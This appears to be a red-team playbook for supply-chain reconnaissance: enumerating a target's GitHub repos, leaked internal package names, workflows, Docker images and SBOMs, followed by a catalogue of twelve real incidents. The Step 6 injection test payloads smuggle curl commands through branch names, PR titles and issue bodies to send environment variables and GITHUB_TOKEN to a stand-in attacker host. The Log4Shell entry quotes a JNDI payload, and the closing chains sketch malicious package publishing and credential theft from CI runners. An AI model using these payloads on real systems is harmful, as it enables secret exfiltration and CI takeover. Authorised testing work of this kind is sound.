Supply Chain Attack Recon

When to use

Trigger when:

• Target has a public GitHub organization (find via OSINT)
• JS bundles reference internal-looking package names (@target-internal/..., target-utils, target-shared)
• Build logs, SBOMs, or package-lock.json files are publicly accessible
• Target uses CI/CD that's partially public (GitHub Actions, GitLab CI, Bitrise)
• Docker images on Docker Hub/GHCR/Quay belong to target org
• Findings include npmrc/pip.conf/gradle.properties with internal registry URLs
• .github/workflows/*.yml files reference internal tooling

Do NOT use for:

• Internal-network artifact registries (out of scope per external boundary)
• Actually publishing typosquats / dep-confusion packages without explicit OK
• Compromising upstream open-source projects (massive blast radius — illegal in most jurisdictions without authorization)

The supply-chain attack surface map

Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.

Step 1 — GitHub org discovery

TARGET="<brand>"  # set to target brand name

# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
  curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done

# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10

# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile

Step 2 — Enumerate public repos for sensitive artifacts

ORG="targetorg"

# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef

# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"

# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"

Step 3 — Internal package-name discovery

From JS bundles

# JS bundles are the easiest source of internal npm names
curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u

# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
  status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
  echo "  $pkg → $status"
  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done

From GitHub repo package.json files

# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
  echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u

From Python projects

# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'

Step 4 — Dependency-confusion vulnerability check

For each internal-looking package name discovered:

NAME="@target-internal/utils"   # example

# npm check
curl -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE

# pypi check (no scopes, just name)
NAME="target_utils"
curl -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable

# rubygems
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1

# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1

Severity calibration: Just because a name is unclaimed doesn't mean it's exploitable. You also need:

1. Evidence the target's BUILD SYSTEM resolves names from public registries (not just their internal one)
2. OR evidence the target's package manager is configured insecurely (e.g., .npmrc without @scope:registry= mapping)
3. OR the package would be installed by their builds (it's actually in package.json, not just referenced in dead code)

A 404 on registry without supporting context is INFORMATIONAL only.

Step 5 — Typosquat candidates (around external dependencies)

For each external public dependency the target uses:

# Common typosquat patterns:
# Original: "react-router-dom"
# Typos: 
#   "react-router-doms" (extra s)
#   "react-routter-dom" (double t)
#   "react-rotuer-dom" (transposed)
#   "react--router-dom" (double dash)
#   "react-router-dorn" (m→rn)
#   "reactrouterdom" (no dashes)

# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
    print(name[:i] + name[i+1:])   # delete
    if i < len(name)-1:
        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose
"

# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
  status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
  [ "$status" = "404" ] && echo "  UNCLAIMED: $candidate"
done

⚠ EXTERNAL-OFFENSIVE NOTE: publishing a typosquat package to a public registry is an attack on the wider ecosystem. NEVER do this without explicit, written, scope-clarified sign-off. It can affect users outside your engagement and may be illegal.

Step 6 — GitHub Actions workflow injection scan

For each public repo with .github/workflows/:

for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
  for wf in $workflows; do
    content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
    echo "=== $repo/$wf ==="
    
    # High-risk patterns:
    # 1. pull_request_target (runs with secrets on PR from forks)
    echo "$content" | grep -E 'pull_request_target'
    
    # 2. Untrusted context interpolation
    echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
    
    # 3. ${{ github.event.* }} into shell run blocks
    echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
    
    # 4. checkout of PR head with elevated perms
    echo "$content" | grep -E 'ref:.*pull_request|head_ref'
    
    # 5. Self-hosted runner without isolation
    echo "$content" | grep -E 'runs-on:.*self-hosted'

    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
    echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
  done
done

Injection patterns to flag (severity guide)

GitHub Actions context injection sinks (branch name, PR title, issue body)

Untrusted context flowing from PR metadata into run: blocks is a classic injection vector. Test payloads:

# Malicious branch name (test in a fork PR):
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"'
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"'

# Malicious PR title (create a test PR with this title):
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"'

# Malicious issue body:
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"'

# Then watch workflow logs. If the injected commands execute, secrets are exfil'd.

Public GitHub Actions run logs (leaks secrets)

Actions logs are public by default on public repos. Look for:

# List all Action runs for a repo
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}'

# Fetch logs from a run
gh api repos/OWNER/REPO/actions/runs/<id>/logs --jq '.logs' | base64 -d

# Search logs for common leakage patterns
gh api repos/OWNER/REPO/actions/runs/<id>/logs | grep -iE 'token|key|secret|password|credential|aws_'

Leaked secrets in logs = direct credential exfil; severity depends on the token type (GitHub PAT, npm token, AWS key, etc.).

Static detection of Actions injection sinks with zizmor

For high-confidence automated flagging, run the zizmor analyzer on all workflow files:

# Install zizmor (Rust-based, from https://github.com/woodruffw/zizmor)
cargo install zizmor

# Scan all workflows
zizmor .github/workflows/*.yml

# Output includes: pull_request_target, mutable-tag uses, context interpolation, etc.
# Sort findings by risk tier

Zizmor saves manual regex work and catches edge cases (e.g., indirect context interpolation via variable references).

Step 7 — Docker / container image registry mining

# Docker Hub
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'

# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null

# For each image, list tags
for img in image1 image2; do
  curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done

# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"

# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/extracted --no-update

Step 8 — SBOM / artifact metadata leakage

# Look for SBOMs published as releases (SPDX, CycloneDX format)
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'

# JSON dependency lockfiles in releases
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'

# Exact-version-pinned deps → known-CVE chaining
# Compare versions to nuclei nvd templates or osv.dev for known vulns
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'

Step 9 — Internal registry URL leakage

# .npmrc patterns
grep -r "registry=" .                                            # in cloned repos
grep -r "_authToken=" .                                          # leaked npm token!
grep -r "@.*registry=" .                                          # scoped registry

# pip config
grep -r "extra-index-url" .
grep -r "index-url" .

# Gradle / Maven
grep -rE "(mavenCentral|maven\s*\{)" .
grep -r "url.*\(.*nexus" .

# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable

Step 10 — npm/PyPI organizational presence

# Some orgs maintain a public npm scope mirroring their brand
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'

# Public PyPI presence
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20

# Check if scope is taken — if it's NOT, an attacker could register
# (relevant for any internal package using that scope)
curl -sI "https://registry.npmjs.org/-/org/$ORG"

Step 11 — Frontend and third-party dependency checks

Compromised CDN detection (polyfill.io, etc.)

Known-compromised CDNs and analytics services have been weaponized. Check target's public HTML/JS:

# Detect usage of polyfill.io and similar historically-compromised services
curl -s https://target.com | grep -i polyfill
curl -s https://target.com | grep -iE '(polyfill\.io|cdn\.jsdelivr\.net.*polyfill|babel\.min\.js)'

# Check JavaScript bundles
for bundle in public/*.js main.*.js app.*.js; do
  grep -i polyfill "$bundle" && echo "FOUND: $bundle"
done

Reference: polyfill.io was compromised in 2024 to serve malicious payloads. Presence = supply-chain risk.

Tooling

Severity scoring guidance

Anti-patterns

• DO NOT publish a typosquat / dep-confusion package without explicit, signed, scope-clarified authorization — this affects users outside the engagement
• DO NOT submit PRs to client repos as part of testing without specific OK — workflow injection PoCs may be needed but they touch CI/CD and other developers
• DO NOT scrape entire npm/PyPI for typosquat candidates — irresponsible and noisy
• DO NOT confuse "name is unclaimed" with "exploitable dependency confusion" — the build system matters; many orgs use proper scope-mapping that prevents the attack
• DO NOT touch GitHub Actions self-hosted runners — they may be inside the client network and outside the external scope
• DO NOT pull large Docker images blindly — image bandwidth can be 5-50GB; review tags first

What constitutes a deliverable finding

A supply-chain finding needs ALL of:

1. Concrete name/path — exact internal package name, exact workflow file path, exact image tag
2. Vulnerability mechanism — dep-confusion / typosquat / injection / etc.
3. Exploitability evidence — proof the build/install would actually use the attacker's payload (not just "name is unclaimed")
4. Severity — calibrated to blast radius (one developer? all developers? all users of the package?)
5. Recommendation — specific (e.g., "register the unused name @target-internal/utils on npm AS YOUR OWN even if unused; configure .npmrc scope:registry mapping")

Bridge to neighboring skills

• apk-redteam-pipeline — APKs reveal internal package names too (find them in decompiled build.gradle)
• cloud-iam-deep — CI/CD secrets often = cloud credentials; this skill finds them, that skill validates them
• hunt-cloud-misconfig — CI/CD pipeline misconfig (Jenkins / GitLab Runner) overlap
• m365-entra-attack — Azure DevOps pipelines are part of Entra surface
• redteam-report-template — supply-chain findings need extra clarity on blast radius (one repo vs whole ecosystem)
• mid-engagement-ir-detection — registering a name on public npm triggers nothing inside the client, but ANY publish action is loud and audit-trailed

External-only boundary check

This skill is squarely external — all targets are public registries / public GitHub. If the engagement involves the client's internal artifact registry (internal Nexus, JFrog, Sonatype), that is internal infrastructure and OUT OF SCOPE per feedback_skill_boundaries. Report internal-registry URL exposure as a finding; do not attempt to enumerate it.

Real-world references

• Alex Birsan 2021 — Original dependency-confusion research, $130K+ in bounties from Apple/Microsoft/PayPal/Yelp/etc.
• ua-parser-js 2021 — npm package compromise via stolen maintainer credentials
• node-ipc 2022 — Maintainer-introduced supply-chain malicious update
• 3CX 2023 — Cascading supply-chain attack via X_TRADER → 3CX → customers
• XZ Utils 2024 — Multi-year social-engineering supply-chain attack on upstream OSS

Each of these is worth reading for what made the attack effective and what red flags existed earlier.

Disclosed-case catalogue (citations)

Twelve well-documented public cases, mapped to the recon surface above. Each entry: attack name, year, flow, root cause, impact, references, and the recon-skill takeaway.

1. SolarWinds Orion / SUNBURST (CISA AA20-352A, Dec 2020)

• Flow: APT29 (UNC2452 / Cozy Bear) breached SolarWinds' build pipeline and inserted the SUNBURST backdoor into SolarWinds.Orion.Core.BusinessLayer.dll. The trojanized DLL was code-signed with SolarWinds' legitimate certificate and shipped to ~18,000 customers via the normal auto-update channel between March and June 2020.
• Root cause: Build-environment compromise — attackers modified source mid-compilation; signing infrastructure trusted the build output without verifying source integrity.
• Impact: ~18,000 organisations received the backdoor; ~100 (incl. US Treasury, Commerce, DHS, DoJ, Microsoft, FireEye/Mandiant) received the SECOND-stage TEARDROP/BEACON payload. SolarWinds reported >$40M in direct response costs; class-action settlement $26M.
• References:
  • CISA AA20-352A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-352a
  • Mandiant write-up (SUNBURST): https://cloud.google.com/blog/topics/threat-intelligence/sunburst-additional-technical-details
  • Microsoft analysis: https://www.microsoft.com/en-us/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack/
  • SolarWinds post-mortem: https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
• Recon takeaway: Whenever a target ships signed binaries from their own CI, the recon check is: is the build environment itself reachable? Look for exposed Jenkins/GitLab CI consoles, public TeamCity agents, or build artefacts that leak source paths. A code-signing cert plus a compromised build = unstoppable trust chain.

2. 3CX VoIP softphone supply chain (CVE-2023-29059, March 2023)

• Flow: DPRK-attributed Lazarus subgroup (UNC4736 / Labyrinth Chollima) trojanized the 3CX DesktopApp (Electron-based softphone) on both Windows and macOS. Initial entry was via a PREVIOUS supply-chain attack — an employee installed a backdoored copy of Trading Technologies' X_TRADER, the FIRST disclosed cascading supply-chain compromise (one supply-chain victim becomes another's vector).
• Root cause: Dev workstation compromise → access to 3CX source/build pipeline → malicious ffmpeg.dll and d3dcompiler_47.dll shipped in signed installer.
• Impact: ~600,000 organisations use 3CX; tens of thousands of trojanized clients downloaded. Lazarus selectively activated second-stage payloads against cryptocurrency and trading firms.
• References:
  • CrowdStrike: https://www.crowdstrike.com/en-us/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/
  • SentinelOne: https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/
  • Mandiant cascading attack analysis: https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise
  • 3CX post-mortem: https://www.3cx.com/blog/news/desktopapp-security-alert-update/
• Recon takeaway: Cascading supply chain is real — your target's vendors' vendors matter. When recon enumerates "what software does this org install on engineer laptops," each one is itself a supply-chain target. Electron apps (signed JS bundles) are especially common vectors.

3. MOVEit Transfer mass exploitation (CVE-2023-34362, May–July 2023)

• Flow: Cl0p ransomware affiliate (FIN11 / Lace Tempest) discovered an unauthenticated SQLi in Progress MOVEit Transfer, deployed the LEMURLOOT webshell, and exfiltrated files from every internet-reachable instance over a ~2-week window before the patch dropped on 31 May 2023.
• Root cause: Pre-auth SQLi in moveitisapi/moveitisapi.dll → arbitrary SQL → write webshell via xp_cmdshell-equivalent path. Classic single-CVE-mass-exploitation; not a build-pipeline attack but a SHIPPED-CODE supply-chain failure.
• Impact: ~2,700 organisations confirmed compromised, ~95 million individuals' PII leaked (BBC, Shell, BA, US DoE, Louisiana OMV, Oregon DMV, etc.). Estimated losses >$15B aggregated.
• References:
  • CISA AA23-158A: https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
  • Progress advisory: https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023
  • Mandiant: https://cloud.google.com/blog/topics/threat-intelligence/zero-day-moveit-data-theft
  • Huntress technical breakdown: https://www.huntress.com/blog/moveit-transfer-critical-vulnerability-rapid-response
• Recon takeaway: Vendor file-transfer products (MOVEit, Accellion FTA, GoAnywhere MFT, Cleo Harmony) are the recurring "internet edge, holds everyone's data, runs on Windows" pattern. Always fingerprint by HTML title / favicon hash early in recon; a single edge-product CVE = entire customer base.

4. Codecov bash uploader compromise (Apr 2021)

• Flow: Attackers gained access to Codecov's Docker image build process via a credential mistake in the image-creation flow, then modified the Bash Uploader script (https://codecov.io/bash) to exfiltrate environment variables to a third-party IP. The modification persisted from 31 Jan 2021 to 1 Apr 2021 — two months before detection by a customer who noticed an SHA-256 mismatch.
• Root cause: Docker image build leaked a credential allowing modification of the served bash script; no integrity verification (no signed pinned hash) on the customer side.
• Impact: Every CI run worldwide that piped curl -s https://codecov.io/bash | bash for 2 months exfiltrated env vars. Confirmed downstream victims: HashiCorp (rotated GPG key), Twilio, Rapid7 (source-code partial exposure), Mercari, Confluent, Atlassian.
• References:
  • Codecov post-mortem: https://about.codecov.io/security-update/
  • HashiCorp advisory: https://discuss.hashicorp.com/t/hcsec-2021-12-codecov-security-event-and-hashicorp-gpg-key-exposure/23512
  • Mercari disclosure: https://about.mercari.com/en/press/news/articles/20210521_incidentreport/
  • Rapid7: https://www.rapid7.com/blog/post/2021/05/13/rapid7-discloses-its-response-to-codecov-incident/
• Recon takeaway: "Curl-bash-install" patterns in public CI workflows are gold for this recon skill — search .github/workflows/ for curl ... | bash, wget ... | sh, iwr ... | iex. Any third-party URL fed into a shell is a supply-chain blast radius. Pinned SHAs in workflows mitigate; absence of pinning = finding.

5. ua-parser-js npm hijack (Oct 2021)

• Flow: Attacker phished/credential-stuffed the maintainer's npm account and published 0.7.29, 0.8.0, and 1.0.0 of ua-parser-js (≈7M weekly downloads, transitively reaching Facebook, Microsoft, Amazon, IBM). The malicious versions ran a preinstall hook that downloaded a cryptominer + Windows password-stealer (Jason credential stealer).
• Root cause: Maintainer npm account had no 2FA / weak credentials; npm did not enforce 2FA for high-value publishers at the time.
• Impact: Packages live ~4 hours before takedown but tens of thousands of installs in that window. CISA issued an emergency alert — the first time CISA had ever warned on an npm-package compromise.
• References:
  • GitHub Security advisory: https://github.com/advisories/GHSA-pjwm-rvh2-c87w
  • CISA alert: https://www.cisa.gov/news-events/alerts/2021/10/22/malware-discovered-popular-npm-package-ua-parser-js
  • Maintainer's incident note: https://github.com/faisalman/ua-parser-js/issues/536
  • Snyk analysis: https://snyk.io/blog/npm-security-malicious-code-found-in-npm-package-ua-parser-js/
• Recon takeaway: Identify your target's top-30 npm/PyPI maintainers by package download count, then check whether their accounts have 2FA enabled (npm exposes this via npm profile get on org members, partially public via the registry API). Recon output: "these 4 maintainers control packages with X installs and have no 2FA per public registry data."

6. event-stream npm package (Nov 2018)

• Flow: Original maintainer Dominic Tarr (no longer using the module) handed event-stream (≈2M weekly downloads) to a new contributor named "right9ctrl" who'd offered to maintain it. The new maintainer added flatmap-stream as a dependency, then pushed an update to flatmap-stream containing payload targeting the Copay bitcoin wallet's build — stole BTC/BCH wallet seeds from any Copay user.
• Root cause: Social engineering of a maintenance-handover; no review of new contributors taking over critical packages. The malicious dep was only triggered when event-stream was bundled into the Copay wallet (build-context targeting).
• Impact: Copay wallet users had keys stolen; exact dollar damage never disclosed publicly. Triggered the npm-wide 2FA push and "popular packages need additional review" policy.
• References:
  • GitHub Security advisory: https://github.com/advisories/GHSA-mh6f-8j2x-4483
  • npm post-mortem: https://github.blog/2018-11-26-npm-package-event-stream/
  • Original disclosure thread: https://github.com/dominictarr/event-stream/issues/116
  • Snyk write-up: https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/
• Recon takeaway: Check npm view <pkg> maintainers and recent maintainer changes for packages your target depends on. A maintainer change in the past 90 days on a 100K+ download package is a yellow flag. Also: payload-targeting-by-build-context (only fires when bundled into specific app) is HARD to detect — static scanners miss it.

7. PHP Git server compromise (March 2021)

• Flow: Attackers pushed two malicious commits to the official php-src git repository on git.php.net, signed as Rasmus Lerdorf and Nikita Popov. The commits added a Zend backdoor that executed code from the User-Agentt HTTP header (note double-t).
• Root cause: Self-hosted git server (Gitolite-based git.php.net) had a credential / authentication flaw — possibly password-stored-in-plain in a user database leak. PHP team migrated to GitHub as canonical source after this incident.
• Impact: Backdoor commits caught within hours, never shipped in a release. But this is the canonical case of "self-hosted source-of-truth = single point of failure."
• References:
  • PHP.net post-mortem: https://news-web.php.net/php.internals/113838
  • Nikita Popov's analysis: https://externals.io/message/113848
  • ZDNet coverage: https://www.zdnet.com/article/php-internal-git-server-hacked-with-malicious-code-pushed-to-the-php-src-repo/
• Recon takeaway: Targets running self-hosted git (Gitea, Gitolite, Phabricator, Bitbucket Server) are higher-risk than GitHub-hosted. Recon should fingerprint git-server software, check for default creds, and watch for SSH-key-based pushes from unexpected IPs (visible in commit metadata).

8. Log4Shell (CVE-2021-44228, Dec 2021)

• Flow: Not a supply-chain ATTACK per se, but the canonical "you don't know what's in your dependency tree" event. A JNDI lookup feature in Apache Log4j 2.x allowed remote code execution via ${jndi:ldap://attacker/...} in any logged string. Because Log4j is transitively pulled by thousands of Java apps, hundreds of millions of systems were vulnerable.
• Root cause: Unsafe-by-default feature shipped in 2013 (MessageLookup substitution); deeply nested transitive dependency made inventory and patching almost impossible.
• Impact: "Most critical vulnerability in a decade" per CISA Director Jen Easterly. Affected every major cloud, every Apache product, every Java enterprise stack. Ongoing mass exploitation by Conti, Khonsari ransomware, state actors.
• References:
  • CISA Log4j page: https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-356a
  • Apache advisory: https://logging.apache.org/log4j/2.x/security.html
  • LunaSec breakdown: https://www.lunasec.io/docs/blog/log4j-zero-day/
  • GovCERT.ch tree of impacted products: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (KEV entry)
• Recon takeaway: SBOMs are the answer here. The recon skill's Step 8 (SBOM mining) earns its keep — pulling SPDX/CycloneDX from public release artefacts gives you exact transitive dependency versions, which you can then map to OSV / NVD for known CVEs. Most orgs underestimate their transitive depth.

9. tj-actions/changed-files GitHub Action compromise (CVE-2025-30066, March 2025)

• Flow: Attacker compromised the tj-actions/changed-files GitHub Action (used by ~23,000 repos) and modified all version tags v1–v45 to point to a malicious commit. The injected code ran printenv and dumped CI secrets to GitHub Actions logs — visible to anyone with read access on public repos.
• Root cause: Mutable tag references in GitHub Actions — uses: tj-actions/changed-files@v35 resolves at run time, so an attacker who controls the repo can repoint old tags. Most consumers had not pinned to commit SHA (@<sha>).
• Impact: ~23,000 repositories impacted; CISA added to KEV; thousands of secrets (AWS keys, npm tokens, Docker Hub creds) leaked into public Action logs. Multiple downstream incidents (Coinbase, Cloudflare, others) traced back.
• References:
  • CISA KEV entry: https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
  • StepSecurity disclosure: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
  • Wiz analysis: https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
  • Semgrep: https://semgrep.dev/blog/2025/popular-github-action-tj-actionschanged-files-is-compromised/
• Recon takeaway: This is the highest-yield current recon vector. Grep public repos for uses: <org>/<repo>@v\d+ (mutable tag) versus uses: <org>/<repo>@<sha> (pinned). Any unpinned third-party action = supply-chain risk. The skill's Step 6 should explicitly flag mutable-tag usage.

10. PyPI typosquats (colourama, python3-dateutil, jeIlyfish, et al.)

• Flow: Attackers register PyPI packages with names visually/typographically similar to popular ones — colourama for colorama, python3-dateutil for python-dateutil, jeIlyfish (capital-I instead of L) for jellyfish. Each contained setup.py post-install hooks exfiltrating SSH keys, GPG keys, GitHub tokens, or installing crypto-stealers targeting ~/.bitcoin/wallet.dat.
• Root cause: PyPI permits visually-confusable names; pip resolves names by exact string match. No human-review gate on new package publication.
• Impact: Each campaign typically <10K installs before takedown, but jeIlyfish lived 1 year (Dec 2018 → Dec 2019). Cumulative: dozens of campaigns documented annually by Snyk/Phylum/Sonatype/ReversingLabs.
• References:
  • ReversingLabs jeIlyfish/python3-dateutil: https://www.reversinglabs.com/blog/mining-for-malicious-ruby-gems
  • Snyk colourama / pytagora analysis: https://snyk.io/blog/malicious-packages-found-to-be-typo-squatting-in-pypi/
  • Phylum 2024 typosquat report: https://blog.phylum.io/the-state-of-the-software-supply-chain/
  • Sonatype 2024 State of the Software Supply Chain (>700K malicious packages found): https://www.sonatype.com/state-of-the-software-supply-chain/
• Recon takeaway: Step 5 of the skill (typosquat candidate generation) maps directly here. For external recon, you LIST candidate typosquat names — you NEVER publish unless explicitly authorized. The deliverable is "these 17 typosquat variants of your top deps are currently unclaimed; recommendation: register them defensively."

11. Alex Birsan dependency-confusion disclosure (Feb 2021)

• Flow: Birsan extracted internal npm scope names from leaked package.json files (publicly cached on archive.org, accidentally-public GitHub repos, JS bundles) for Apple, Microsoft, PayPal, Shopify, Uber, Tesla, Yelp, and ~35 others. He published packages on public npm/PyPI/RubyGems with those internal names AND a higher semver. Most companies' build systems then resolved the public package over the internal one and executed his telemetry-only payload.
• Root cause: Package managers (npm, pip, gem) default to "highest version wins, regardless of registry." Internal-package names leaked to external sources. No scope-to-registry enforcement.
• Impact: $130K+ in bug bounties (highest known SINGLE researcher payout across multiple programs in 2021); birthed the entire "dependency confusion" attack class; npm/PyPI/Microsoft Azure Artifacts all issued mitigations.
• References:
  • Original Birsan write-up: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
  • Microsoft white paper: https://azure.microsoft.com/en-us/resources/3-ways-to-mitigate-risk-using-private-package-feeds/
  • GitHub post-mortem (npm side): https://github.blog/2021-02-12-how-to-prevent-dependency-confusion-on-public-package-registries/
  • Snyk research: https://snyk.io/blog/dependency-confusion-vulnerability-novel-supply-chain-attack/
• Recon takeaway: This is the founding citation for Step 3 + Step 4 of the skill. Internal scope discovery via JS bundles is the canonical recon path. Note Birsan's severity calibration: "name is unclaimed" alone was enough at most targets because their builds used npm install against a config that fell through to public npm — but the skill's severity table correctly notes this isn't universal.

12. XZ Utils (CVE-2024-3094, March 2024)

• Flow: "Jia Tan" (JiaT75) social-engineered the maintainer of xz-utils (an upstream OSS compression library used in nearly every Linux distro) over 2+ years. Once granted co-maintainer status, they inserted a multi-stage backdoor into liblzma build process — obfuscated as test fixtures — that would hijack SSH authentication via OpenSSH's systemd-notify integration.
• Root cause: Single-maintainer OSS burnout + nation-state-grade patience (Operation J / suspected APT). The backdoor was caught BEFORE major distros shipped it (only Fedora Rawhide and Debian unstable had it briefly) because Andres Freund noticed a 500ms SSH delay during a benchmark.
• Impact: Caught before mass deployment, near-miss event. Triggered industry-wide reassessment of "single-maintainer critical OSS" risk. CISA, NIST, OpenSSF all issued post-mortems.
• References:
  • CISA advisory: https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094
  • Andres Freund's original disclosure: https://www.openwall.com/lists/oss-security/2024/03/29/4
  • Russ Cox timeline: https://research.swtch.com/xz-timeline
  • Sam James technical breakdown: https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
• Recon takeaway: Hardest case for external recon — social-engineering a maintainer over years leaves few external signals. But: GitHub commit-history analysis (new contributors gaining commit access on critical libs, commits adding obfuscated test fixtures, build-only-on-release changes) is what Andres Freund effectively did. The skill's Step 2 (enumerate public repos) can be extended to "watch for high-trust grants to low-history accounts."

Coverage map: cases → recon skill steps

Patterns across all 12 cases

• Code-signing does NOT save you — SolarWinds, 3CX, ua-parser-js all shipped legitimately-signed malicious code.
• Pinning to mutable references is the recurring failure — curl | bash (Codecov), @v35 action tags (tj-actions), ^1.0.0 semver (Birsan, event-stream).
• Maintainer-account compromise > technical CVE for npm/PyPI ecosystem — 6 of 12 cases.
• Cascading supply chain is now normal — 3CX from X_TRADER; Codecov → HashiCorp → HashiCorp's downstream users. Assume your target's vendors' vendors are in scope conceptually.
• CI runners are the highest-value foothold — every case where attacker code executed on a CI runner yielded cloud / GitHub / secrets in bulk.

Related Skills & Chains

• hunt-rce — Dependency confusion lands as RCE on whatever runner installs the package; CI runners are the highest-value target. Chain primitive: internal package name leaked in public JS bundle / SBOM / Docker image → publish malicious package to public npm/PyPI under same name with higher version → next npm install / pip install on CI runner executes attacker code in preinstall hook → hunt-rce post-foothold (env-var extraction yields AWS keys, GitHub PATs, Slack tokens) → CI-plane takeover.
• cloud-iam-deep — CI runners have IAM credentials; supply-chain RCE there is a credential-exfil bonanza. Chain primitive: malicious package executes on GitHub Actions runner → reads $AWS_ACCESS_KEY_ID / $GITHUB_TOKEN from env → cloud-iam-deep enumeration → IAM-privilege-escalation chain → production cloud-plane access.
• **`o

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